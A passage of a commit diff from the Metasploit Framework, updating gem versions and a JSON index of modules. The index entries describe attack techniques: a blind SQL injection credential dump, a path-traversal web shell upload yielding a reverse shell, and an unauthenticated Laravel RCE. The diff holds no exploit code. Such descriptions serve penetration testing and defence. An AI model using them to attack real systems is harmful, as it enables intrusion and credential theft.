Merge master and update smb_shadow + dispatcher
The smb_shadow module can confirm the server smb version supported with the ConfirmServerDialect option. The shadow_mitm_dispatcher closes each stream before opening a new one to prevent leaking file descriptors.
This commit is contained in:
commit
7e010cbde2
2
Gemfile
2
Gemfile
|
@ -45,5 +45,3 @@ group :test do
|
|||
# Manipulate Time.now in specs
|
||||
gem 'timecop'
|
||||
end
|
||||
|
||||
gem 'ruby_smb', git: 'https://github.com/usiegl00/ruby_smb.git', branch: 'mitm-dispatcher'
|
||||
|
|
86
Gemfile.lock
86
Gemfile.lock
|
@ -1,19 +1,7 @@
|
|||
GIT
|
||||
remote: https://github.com/usiegl00/ruby_smb.git
|
||||
revision: 5dc4e89022d315f5f3e47b208a8c2ef0abf7c5eb
|
||||
branch: mitm-dispatcher
|
||||
specs:
|
||||
ruby_smb (3.0.2)
|
||||
bindata
|
||||
openssl-ccm
|
||||
openssl-cmac
|
||||
rubyntlm
|
||||
windows_error (>= 0.1.3)
|
||||
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (6.1.30)
|
||||
metasploit-framework (6.1.31)
|
||||
actionpack (~> 6.0)
|
||||
activerecord (~> 6.0)
|
||||
activesupport (~> 6.0)
|
||||
|
@ -41,7 +29,7 @@ PATH
|
|||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 2.0.72)
|
||||
metasploit-payloads (= 2.0.74)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 1.0.18)
|
||||
mqtt
|
||||
|
@ -108,25 +96,25 @@ GEM
|
|||
remote: https://rubygems.org/
|
||||
specs:
|
||||
Ascii85 (1.1.0)
|
||||
actionpack (6.1.4.4)
|
||||
actionview (= 6.1.4.4)
|
||||
activesupport (= 6.1.4.4)
|
||||
actionpack (6.1.4.6)
|
||||
actionview (= 6.1.4.6)
|
||||
activesupport (= 6.1.4.6)
|
||||
rack (~> 2.0, >= 2.0.9)
|
||||
rack-test (>= 0.6.3)
|
||||
rails-dom-testing (~> 2.0)
|
||||
rails-html-sanitizer (~> 1.0, >= 1.2.0)
|
||||
actionview (6.1.4.4)
|
||||
activesupport (= 6.1.4.4)
|
||||
actionview (6.1.4.6)
|
||||
activesupport (= 6.1.4.6)
|
||||
builder (~> 3.1)
|
||||
erubi (~> 1.4)
|
||||
rails-dom-testing (~> 2.0)
|
||||
rails-html-sanitizer (~> 1.1, >= 1.2.0)
|
||||
activemodel (6.1.4.4)
|
||||
activesupport (= 6.1.4.4)
|
||||
activerecord (6.1.4.4)
|
||||
activemodel (= 6.1.4.4)
|
||||
activesupport (= 6.1.4.4)
|
||||
activesupport (6.1.4.4)
|
||||
activemodel (6.1.4.6)
|
||||
activesupport (= 6.1.4.6)
|
||||
activerecord (6.1.4.6)
|
||||
activemodel (= 6.1.4.6)
|
||||
activesupport (= 6.1.4.6)
|
||||
activesupport (6.1.4.6)
|
||||
concurrent-ruby (~> 1.0, >= 1.0.2)
|
||||
i18n (>= 1.6, < 2)
|
||||
minitest (>= 5.1)
|
||||
|
@ -139,13 +127,13 @@ GEM
|
|||
activerecord (>= 3.1.0, < 8)
|
||||
ast (2.4.2)
|
||||
aws-eventstream (1.2.0)
|
||||
aws-partitions (1.553.0)
|
||||
aws-sdk-core (3.126.0)
|
||||
aws-partitions (1.554.0)
|
||||
aws-sdk-core (3.126.2)
|
||||
aws-eventstream (~> 1, >= 1.0.2)
|
||||
aws-partitions (~> 1, >= 1.525.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
jmespath (~> 1.0)
|
||||
aws-sdk-ec2 (1.298.0)
|
||||
aws-sdk-ec2 (1.299.0)
|
||||
aws-sdk-core (~> 3, >= 3.126.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-iam (1.66.0)
|
||||
|
@ -195,7 +183,7 @@ GEM
|
|||
railties (>= 5.0.0)
|
||||
faker (2.19.0)
|
||||
i18n (>= 1.6, < 2)
|
||||
faraday (1.9.3)
|
||||
faraday (1.10.0)
|
||||
faraday-em_http (~> 1.0)
|
||||
faraday-em_synchrony (~> 1.0)
|
||||
faraday-excon (~> 1.1)
|
||||
|
@ -237,12 +225,12 @@ GEM
|
|||
domain_name (~> 0.5)
|
||||
http_parser.rb (0.8.0)
|
||||
httpclient (2.8.3)
|
||||
i18n (1.9.1)
|
||||
i18n (1.10.0)
|
||||
concurrent-ruby (~> 1.0)
|
||||
io-console (0.5.11)
|
||||
irb (1.3.6)
|
||||
reline (>= 0.2.5)
|
||||
jmespath (1.5.0)
|
||||
jmespath (1.6.0)
|
||||
jsobfu (0.4.2)
|
||||
rkelly-remix
|
||||
json (2.6.1)
|
||||
|
@ -250,7 +238,7 @@ GEM
|
|||
logging (2.3.0)
|
||||
little-plugger (~> 1.1)
|
||||
multi_json (~> 1.14)
|
||||
loofah (2.13.0)
|
||||
loofah (2.14.0)
|
||||
crass (~> 1.0.2)
|
||||
nokogiri (>= 1.5.9)
|
||||
memory_profiler (1.0.0)
|
||||
|
@ -273,7 +261,7 @@ GEM
|
|||
activemodel (~> 6.0)
|
||||
activesupport (~> 6.0)
|
||||
railties (~> 6.0)
|
||||
metasploit-payloads (2.0.72)
|
||||
metasploit-payloads (2.0.74)
|
||||
metasploit_data_models (5.0.4)
|
||||
activerecord (~> 6.0)
|
||||
activesupport (~> 6.0)
|
||||
|
@ -289,7 +277,7 @@ GEM
|
|||
mini_portile2 (2.7.1)
|
||||
minitest (5.15.0)
|
||||
mqtt (0.5.0)
|
||||
msgpack (1.4.4)
|
||||
msgpack (1.4.5)
|
||||
multi_json (1.15.0)
|
||||
multipart-post (2.1.1)
|
||||
mustermann (1.1.1)
|
||||
|
@ -323,7 +311,7 @@ GEM
|
|||
hashery (~> 2.0)
|
||||
ruby-rc4
|
||||
ttfunk
|
||||
pg (1.3.1)
|
||||
pg (1.3.2)
|
||||
pry (0.13.1)
|
||||
coderay (~> 1.1)
|
||||
method_source (~> 1.0)
|
||||
|
@ -331,11 +319,11 @@ GEM
|
|||
byebug (~> 11.0)
|
||||
pry (~> 0.13.0)
|
||||
public_suffix (4.0.6)
|
||||
puma (5.6.1)
|
||||
puma (5.6.2)
|
||||
nio4r (~> 2.0)
|
||||
racc (1.6.0)
|
||||
rack (2.2.3)
|
||||
rack-protection (2.1.0)
|
||||
rack-protection (2.2.0)
|
||||
rack
|
||||
rack-test (1.1.0)
|
||||
rack (>= 1.0, < 3)
|
||||
|
@ -344,9 +332,9 @@ GEM
|
|||
nokogiri (>= 1.6)
|
||||
rails-html-sanitizer (1.4.2)
|
||||
loofah (~> 2.3)
|
||||
railties (6.1.4.4)
|
||||
actionpack (= 6.1.4.4)
|
||||
activesupport (= 6.1.4.4)
|
||||
railties (6.1.4.6)
|
||||
actionpack (= 6.1.4.6)
|
||||
activesupport (= 6.1.4.6)
|
||||
method_source
|
||||
rake (>= 0.13)
|
||||
thor (~> 1.0)
|
||||
|
@ -356,7 +344,7 @@ GEM
|
|||
recog (2.3.22)
|
||||
nokogiri
|
||||
redcarpet (3.5.1)
|
||||
regexp_parser (2.2.0)
|
||||
regexp_parser (2.2.1)
|
||||
reline (0.2.5)
|
||||
io-console (~> 0.5)
|
||||
rex-arch (0.1.14)
|
||||
|
@ -367,7 +355,7 @@ GEM
|
|||
rex-core
|
||||
rex-struct2
|
||||
rex-text
|
||||
rex-core (0.1.25)
|
||||
rex-core (0.1.26)
|
||||
rex-encoder (0.1.6)
|
||||
metasm
|
||||
rex-arch
|
||||
|
@ -386,7 +374,7 @@ GEM
|
|||
rex-arch
|
||||
rex-ole (0.1.7)
|
||||
rex-text
|
||||
rex-powershell (0.1.94)
|
||||
rex-powershell (0.1.95)
|
||||
rex-random_identifier
|
||||
rex-text
|
||||
ruby-rc4
|
||||
|
@ -441,13 +429,19 @@ GEM
|
|||
rubocop-ast (>= 1.15.1, < 2.0)
|
||||
ruby-progressbar (~> 1.7)
|
||||
unicode-display_width (>= 1.4.0, < 3.0)
|
||||
rubocop-ast (1.15.1)
|
||||
rubocop-ast (1.15.2)
|
||||
parser (>= 3.0.1.1)
|
||||
ruby-macho (3.0.0)
|
||||
ruby-prof (1.4.2)
|
||||
ruby-progressbar (1.11.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby2_keywords (0.0.5)
|
||||
ruby_smb (3.0.6)
|
||||
bindata
|
||||
openssl-ccm
|
||||
openssl-cmac
|
||||
rubyntlm
|
||||
windows_error (>= 0.1.4)
|
||||
rubyntlm (0.6.3)
|
||||
rubyzip (2.3.2)
|
||||
sawyer (0.8.2)
|
||||
|
@ -459,10 +453,10 @@ GEM
|
|||
simplecov-html (0.12.3)
|
||||
simpleidn (0.2.1)
|
||||
unf (~> 0.1.4)
|
||||
sinatra (2.1.0)
|
||||
sinatra (2.2.0)
|
||||
mustermann (~> 1.0)
|
||||
rack (~> 2.2)
|
||||
rack-protection (= 2.1.0)
|
||||
rack-protection (= 2.2.0)
|
||||
tilt (~> 2.0)
|
||||
sqlite3 (1.4.2)
|
||||
sshkey (2.0.0)
|
||||
|
|
50
LICENSE_GEMS
50
LICENSE_GEMS
|
@ -1,18 +1,18 @@
|
|||
This file is auto-generated by tools/dev/update_gem_licenses.sh
|
||||
Ascii85, 1.1.0, MIT
|
||||
actionpack, 6.1.4.4, MIT
|
||||
actionview, 6.1.4.4, MIT
|
||||
activemodel, 6.1.4.4, MIT
|
||||
activerecord, 6.1.4.4, MIT
|
||||
activesupport, 6.1.4.4, MIT
|
||||
actionpack, 6.1.4.6, MIT
|
||||
actionview, 6.1.4.6, MIT
|
||||
activemodel, 6.1.4.6, MIT
|
||||
activerecord, 6.1.4.6, MIT
|
||||
activesupport, 6.1.4.6, MIT
|
||||
addressable, 2.8.0, "Apache 2.0"
|
||||
afm, 0.2.2, MIT
|
||||
arel-helpers, 2.14.0, MIT
|
||||
ast, 2.4.2, MIT
|
||||
aws-eventstream, 1.2.0, "Apache 2.0"
|
||||
aws-partitions, 1.553.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.126.0, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.298.0, "Apache 2.0"
|
||||
aws-partitions, 1.554.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.126.2, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.299.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.66.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.54.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.112.0, "Apache 2.0"
|
||||
|
@ -41,7 +41,7 @@ eventmachine, 1.2.7, "ruby, GPL-2.0"
|
|||
factory_bot, 6.2.0, MIT
|
||||
factory_bot_rails, 6.2.0, MIT
|
||||
faker, 2.19.0, MIT
|
||||
faraday, 1.9.3, MIT
|
||||
faraday, 1.10.0, MIT
|
||||
faraday-em_http, 1.0.0, MIT
|
||||
faraday-em_synchrony, 1.0.0, MIT
|
||||
faraday-excon, 1.1.0, MIT
|
||||
|
@ -64,29 +64,29 @@ hrr_rb_ssh-ed25519, 0.4.2, "Apache 2.0"
|
|||
http-cookie, 1.0.4, MIT
|
||||
http_parser.rb, 0.8.0, MIT
|
||||
httpclient, 2.8.3, ruby
|
||||
i18n, 1.9.1, MIT
|
||||
i18n, 1.10.0, MIT
|
||||
io-console, 0.5.11, "ruby, Simplified BSD"
|
||||
irb, 1.3.6, "ruby, Simplified BSD"
|
||||
jmespath, 1.5.0, "Apache 2.0"
|
||||
jmespath, 1.6.0, "Apache 2.0"
|
||||
jsobfu, 0.4.2, "New BSD"
|
||||
json, 2.6.1, ruby
|
||||
little-plugger, 1.1.4, MIT
|
||||
logging, 2.3.0, MIT
|
||||
loofah, 2.13.0, MIT
|
||||
loofah, 2.14.0, MIT
|
||||
memory_profiler, 1.0.0, MIT
|
||||
metasm, 1.0.5, LGPL-2.1
|
||||
metasploit-concern, 4.0.3, "New BSD"
|
||||
metasploit-credential, 5.0.5, "New BSD"
|
||||
metasploit-framework, 6.1.30, "New BSD"
|
||||
metasploit-framework, 6.1.31, "New BSD"
|
||||
metasploit-model, 4.0.3, "New BSD"
|
||||
metasploit-payloads, 2.0.72, "3-clause (or ""modified"") BSD"
|
||||
metasploit-payloads, 2.0.74, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 5.0.4, "New BSD"
|
||||
metasploit_payloads-mettle, 1.0.18, "3-clause (or ""modified"") BSD"
|
||||
method_source, 1.0.0, MIT
|
||||
mini_portile2, 2.7.1, MIT
|
||||
minitest, 5.15.0, MIT
|
||||
mqtt, 0.5.0, MIT
|
||||
msgpack, 1.4.4, "Apache 2.0"
|
||||
msgpack, 1.4.5, "Apache 2.0"
|
||||
multi_json, 1.15.0, MIT
|
||||
multipart-post, 2.1.1, MIT
|
||||
mustermann, 1.1.1, MIT
|
||||
|
@ -108,35 +108,35 @@ parser, 3.1.0.0, MIT
|
|||
patch_finder, 1.0.2, "New BSD"
|
||||
pcaprub, 0.13.1, LGPL-2.1
|
||||
pdf-reader, 2.9.1, MIT
|
||||
pg, 1.3.1, "Simplified BSD"
|
||||
pg, 1.3.2, "Simplified BSD"
|
||||
pry, 0.13.1, MIT
|
||||
pry-byebug, 3.9.0, MIT
|
||||
public_suffix, 4.0.6, MIT
|
||||
puma, 5.6.1, "New BSD"
|
||||
puma, 5.6.2, "New BSD"
|
||||
racc, 1.6.0, "ruby, Simplified BSD"
|
||||
rack, 2.2.3, MIT
|
||||
rack-protection, 2.1.0, MIT
|
||||
rack-protection, 2.2.0, MIT
|
||||
rack-test, 1.1.0, MIT
|
||||
rails-dom-testing, 2.0.3, MIT
|
||||
rails-html-sanitizer, 1.4.2, MIT
|
||||
railties, 6.1.4.4, MIT
|
||||
railties, 6.1.4.6, MIT
|
||||
rainbow, 3.1.1, MIT
|
||||
rake, 13.0.6, MIT
|
||||
rb-readline, 0.5.5, BSD
|
||||
recog, 2.3.22, unknown
|
||||
redcarpet, 3.5.1, MIT
|
||||
regexp_parser, 2.2.0, MIT
|
||||
regexp_parser, 2.2.1, MIT
|
||||
reline, 0.2.5, ruby
|
||||
rex-arch, 0.1.14, "New BSD"
|
||||
rex-bin_tools, 0.1.8, "New BSD"
|
||||
rex-core, 0.1.25, "New BSD"
|
||||
rex-core, 0.1.26, "New BSD"
|
||||
rex-encoder, 0.1.6, "New BSD"
|
||||
rex-exploitation, 0.1.28, "New BSD"
|
||||
rex-java, 0.1.6, "New BSD"
|
||||
rex-mime, 0.1.6, "New BSD"
|
||||
rex-nop, 0.1.2, "New BSD"
|
||||
rex-ole, 0.1.7, "New BSD"
|
||||
rex-powershell, 0.1.94, "New BSD"
|
||||
rex-powershell, 0.1.95, "New BSD"
|
||||
rex-random_identifier, 0.1.8, "New BSD"
|
||||
rex-registry, 0.1.4, "New BSD"
|
||||
rex-rop_builder, 0.1.4, "New BSD"
|
||||
|
@ -155,20 +155,20 @@ rspec-rails, 5.1.0, MIT
|
|||
rspec-rerun, 1.1.0, MIT
|
||||
rspec-support, 3.11.0, MIT
|
||||
rubocop, 1.25.1, MIT
|
||||
rubocop-ast, 1.15.1, MIT
|
||||
rubocop-ast, 1.15.2, MIT
|
||||
ruby-macho, 3.0.0, MIT
|
||||
ruby-prof, 1.4.2, "Simplified BSD"
|
||||
ruby-progressbar, 1.11.0, MIT
|
||||
ruby-rc4, 0.1.5, MIT
|
||||
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
|
||||
ruby_smb, 3.0.2, "New BSD"
|
||||
ruby_smb, 3.0.4, "New BSD"
|
||||
rubyntlm, 0.6.3, MIT
|
||||
rubyzip, 2.3.2, "Simplified BSD"
|
||||
sawyer, 0.8.2, MIT
|
||||
simplecov, 0.18.2, MIT
|
||||
simplecov-html, 0.12.3, MIT
|
||||
simpleidn, 0.2.1, MIT
|
||||
sinatra, 2.1.0, MIT
|
||||
sinatra, 2.2.0, MIT
|
||||
sqlite3, 1.4.2, "New BSD"
|
||||
sshkey, 2.0.0, MIT
|
||||
swagger-blocks, 3.0.0, MIT
|
||||
|
|
|
@ -18020,6 +18020,65 @@
|
|||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_gather/grandstream_ucm62xx_sql_account_guess": {
|
||||
"name": "Grandstream UCM62xx IP PBX WebSocket Blind SQL Injection Credential Dump",
|
||||
"fullname": "auxiliary/gather/grandstream_ucm62xx_sql_account_guess",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": "2020-03-30",
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"jbaines-r7"
|
||||
],
|
||||
"description": "This module uses a blind SQL injection (CVE-2020-5724) affecting the Grandstream UCM62xx\n IP PBX to dump the users table. The injection occurs over a websocket at the websockify\n endpoint, and specifically occurs when the user requests the challenge (as part of a\n challenge and response authentication scheme). The injection is blind, but the server\n response contains a different status code if the query was successful. As such, the\n attacker can guess the contents of the user database. Most helpfully, the passwords are\n stored in cleartext within the user table (CVE-2020-5723).\n\n This issue was patched in Grandstream UCM62xx IP PBX firmware version 1.20.22.",
|
||||
"references": [
|
||||
"CVE-2020-5724",
|
||||
"CVE-2020-5723",
|
||||
"URL-https://firmware.grandstream.com/Release_Note_UCM6xxx_1.0.20.22.pdf",
|
||||
"URL-https://raw.githubusercontent.com/tenable/poc/master/grandstream/ucm62xx/dump_http_user_creds.py"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 8089,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-02-15 10:47:30 +0000",
|
||||
"path": "/modules/auxiliary/gather/grandstream_ucm62xx_sql_account_guess.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/grandstream_ucm62xx_sql_account_guess",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_gather/hp_enum_perfd": {
|
||||
"name": "HP Operations Manager Perfd Environment Scanner",
|
||||
"fullname": "auxiliary/gather/hp_enum_perfd",
|
||||
|
@ -30273,7 +30332,7 @@
|
|||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-01-07 12:56:16 +0000",
|
||||
"mod_time": "2022-02-15 16:39:00 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/log4shell_scanner.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/log4shell_scanner",
|
||||
|
@ -30955,7 +31014,8 @@
|
|||
"CVE-2019-15949",
|
||||
"CVE-2020-5791",
|
||||
"CVE-2020-5792",
|
||||
"CVE-2020-35578"
|
||||
"CVE-2020-35578",
|
||||
"CVE-2021-37343"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
|
@ -30976,7 +31036,7 @@
|
|||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2021-08-27 17:15:33 +0000",
|
||||
"mod_time": "2022-02-05 18:21:18 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/nagios_xi_scanner.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/nagios_xi_scanner",
|
||||
|
@ -54522,7 +54582,7 @@
|
|||
"targets": [
|
||||
"Auto"
|
||||
],
|
||||
"mod_time": "2021-10-06 13:43:31 +0000",
|
||||
"mod_time": "2022-02-12 21:39:12 +0000",
|
||||
"path": "/modules/exploits/android/local/binder_uaf.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "android/local/binder_uaf",
|
||||
|
@ -54572,7 +54632,7 @@
|
|||
"Old Samsung",
|
||||
"Samsung Grand"
|
||||
],
|
||||
"mod_time": "2021-10-06 13:43:31 +0000",
|
||||
"mod_time": "2022-02-12 21:39:12 +0000",
|
||||
"path": "/modules/exploits/android/local/futex_requeue.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "android/local/futex_requeue",
|
||||
|
@ -54676,7 +54736,7 @@
|
|||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2021-10-06 13:43:31 +0000",
|
||||
"mod_time": "2022-02-12 21:39:12 +0000",
|
||||
"path": "/modules/exploits/android/local/put_user_vroot.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "android/local/put_user_vroot",
|
||||
|
@ -54920,7 +54980,7 @@
|
|||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2020-10-02 17:38:06 +0000",
|
||||
"mod_time": "2022-02-12 21:39:12 +0000",
|
||||
"path": "/modules/exploits/apple_ios/browser/webkit_trident.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "apple_ios/browser/webkit_trident",
|
||||
|
@ -62838,6 +62898,68 @@
|
|||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/nagios_xi_autodiscovery_webshell": {
|
||||
"name": "Nagios XI Autodiscovery Webshell Upload",
|
||||
"fullname": "exploit/linux/http/nagios_xi_autodiscovery_webshell",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2021-07-15",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Claroty Team82",
|
||||
"jbaines-r7"
|
||||
],
|
||||
"description": "This module exploits a path traversal issue in Nagios XI before version 5.8.5 (CVE-2021-37343).\n The path traversal allows a remote and authenticated administrator to upload a PHP web shell\n and execute code as `www-data`. The module achieves this by creating an autodiscovery job\n with an `id` field containing a path traversal to a writable and remotely accessible directory,\n and `custom_ports` field containing the web shell. A cron file will be created using the chosen\n path and file name, and the web shell is embedded in the file.\n\n After the web shell has been written to the victim, this module will then use the web shell to\n establish a Meterpreter session or a reverse shell. By default, the web shell is deleted by\n the module, and the autodiscovery job is removed as well.",
|
||||
"references": [
|
||||
"CVE-2021-37343",
|
||||
"URL-https://claroty.com/2021/09/21/blog-research-securing-network-management-systems-nagios-xi/"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd, x86, x64",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Unix Command",
|
||||
"Linux Dropper"
|
||||
],
|
||||
"mod_time": "2022-02-10 17:39:07 +0000",
|
||||
"path": "/modules/exploits/linux/http/nagios_xi_autodiscovery_webshell.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/nagios_xi_autodiscovery_webshell",
|
||||
"check": true,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_linux/http/nagios_xi_chained_rce": {
|
||||
"name": "Nagios XI Chained Remote Code Execution",
|
||||
"fullname": "exploit/linux/http/nagios_xi_chained_rce",
|
||||
|
@ -83194,7 +83316,7 @@
|
|||
"Windows",
|
||||
"Linux"
|
||||
],
|
||||
"mod_time": "2022-01-13 11:51:39 +0000",
|
||||
"mod_time": "2022-02-03 16:09:49 +0000",
|
||||
"path": "/modules/exploits/multi/http/log4shell_header_injection.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/log4shell_header_injection",
|
||||
|
@ -89868,7 +89990,7 @@
|
|||
"Windows",
|
||||
"Unix"
|
||||
],
|
||||
"mod_time": "2022-01-21 09:40:23 +0000",
|
||||
"mod_time": "2022-02-03 16:09:49 +0000",
|
||||
"path": "/modules/exploits/multi/http/ubiquiti_unifi_log4shell.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/ubiquiti_unifi_log4shell",
|
||||
|
@ -90426,7 +90548,7 @@
|
|||
"Windows",
|
||||
"Linux"
|
||||
],
|
||||
"mod_time": "2022-01-13 15:05:43 +0000",
|
||||
"mod_time": "2022-02-03 16:09:49 +0000",
|
||||
"path": "/modules/exploits/multi/http/vmware_vcenter_log4shell.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/vmware_vcenter_log4shell",
|
||||
|
@ -94647,6 +94769,67 @@
|
|||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/php/ignition_laravel_debug_rce": {
|
||||
"name": "Unauthenticated remote code execution in Ignition",
|
||||
"fullname": "exploit/multi/php/ignition_laravel_debug_rce",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2021-01-13",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Heyder Andrade <eu@heyderandrade.org>",
|
||||
"ambionics"
|
||||
],
|
||||
"description": "Ignition before 2.5.2, as used in Laravel and other products,\n allows unauthenticated remote attackers to execute arbitrary code\n because of insecure usage of file_get_contents() and file_put_contents().\n This is exploitable on sites using debug mode with Laravel before 8.4.2.",
|
||||
"references": [
|
||||
"CVE-2021-3129",
|
||||
"URL-https://www.ambionics.io/blog/laravel-debug-rce"
|
||||
],
|
||||
"platform": "Linux,OSX,Unix,Windows",
|
||||
"arch": "",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Unix (In-Memory)",
|
||||
"Windows (In-Memory)"
|
||||
],
|
||||
"mod_time": "2022-02-15 08:47:50 +0000",
|
||||
"path": "/modules/exploits/multi/php/ignition_laravel_debug_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/php/ignition_laravel_debug_rce",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/php/php_unserialize_zval_cookie": {
|
||||
"name": "PHP 4 unserialize() ZVAL Reference Counter Overflow (Cookie)",
|
||||
"fullname": "exploit/multi/php/php_unserialize_zval_cookie",
|
||||
|
@ -153360,7 +153543,7 @@
|
|||
"URL-https://h20564.www2.hp.com/hpsc/doc/public/display?docId=emr_na-c04373818"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
"arch": "x86, x64",
|
||||
"rport": 5555,
|
||||
"autofilter_ports": [
|
||||
|
||||
|
@ -153371,7 +153554,7 @@
|
|||
"targets": [
|
||||
"HP Data Protector 8.10 / Windows"
|
||||
],
|
||||
"mod_time": "2020-10-02 17:38:06 +0000",
|
||||
"mod_time": "2022-02-15 18:03:13 +0000",
|
||||
"path": "/modules/exploits/windows/misc/hp_dataprotector_cmd_exec.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/misc/hp_dataprotector_cmd_exec",
|
||||
|
@ -190850,7 +191033,7 @@
|
|||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"mod_time": "2022-01-20 13:11:24 +0000",
|
||||
"path": "/modules/post/osx/gather/hashdump.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "osx/gather/hashdump",
|
||||
|
@ -190860,7 +191043,8 @@
|
|||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"shell"
|
||||
"shell",
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": null
|
||||
},
|
||||
|
@ -199657,186 +199841,6 @@
|
|||
],
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"post_windows/manage/vss_create": {
|
||||
"name": "Windows Manage Create Shadow Copy",
|
||||
"fullname": "post/windows/manage/vss_create",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "post",
|
||||
"author": [
|
||||
"theLightCosine <theLightCosine@metasploit.com>"
|
||||
],
|
||||
"description": "This module will attempt to create a new volume shadow copy.\n This is based on the VSSOwn Script originally posted by\n Tim Tomes and Mark Baggett.\n\n Works on win2k3 and later.",
|
||||
"references": [
|
||||
"URL-http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-04 10:53:15 +0000",
|
||||
"path": "/modules/post/windows/manage/vss_create.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/manage/vss_create",
|
||||
"check": false,
|
||||
"post_auth": false,
|
